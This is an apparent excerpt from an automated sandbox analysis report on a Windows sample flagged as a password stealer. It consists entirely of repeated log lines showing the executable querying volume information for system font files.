Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
